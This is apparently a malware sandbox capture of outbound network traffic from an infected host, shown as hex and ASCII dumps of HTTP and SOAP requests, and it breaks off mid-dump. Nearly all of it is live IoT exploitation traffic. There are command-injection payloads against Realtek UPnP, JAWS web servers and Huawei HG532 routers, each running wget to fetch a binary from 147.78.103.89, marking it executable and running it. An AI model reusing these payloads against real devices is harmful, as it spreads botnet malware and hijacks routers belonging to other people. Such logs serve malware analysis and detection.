                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      8192.168.2.1537396155.220.24.935501
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:26:32.562144041 CET273OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      9192.168.2.1549206156.234.225.437215
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:26:38.442949057 CET822OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                      Content-Length: 430
                                                      Connection: keep-alive
                                                      Accept: */*
                                                      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:26:40.059449911 CET822OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                      Content-Length: 430
                                                      Connection: keep-alive
                                                      Accept: */*
                                                      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:26:41.947340965 CET822OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                      Content-Length: 430
                                                      Connection: keep-alive
                                                      Accept: */*
                                                      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:26:45.819206953 CET822OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                      Content-Length: 430
                                                      Connection: keep-alive
                                                      Accept: */*
                                                      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:26:53.498920918 CET822OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                      Content-Length: 430
                                                      Connection: keep-alive
                                                      Accept: */*
                                                      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:08.602616072 CET822OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                      Content-Length: 430
                                                      Connection: keep-alive
                                                      Accept: */*
                                                      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:40.605556965 CET822OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                      Content-Length: 430
                                                      Connection: keep-alive
                                                      Accept: */*
                                                      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      10192.168.2.154505245.123.197.8652869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:26:41.683999062 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 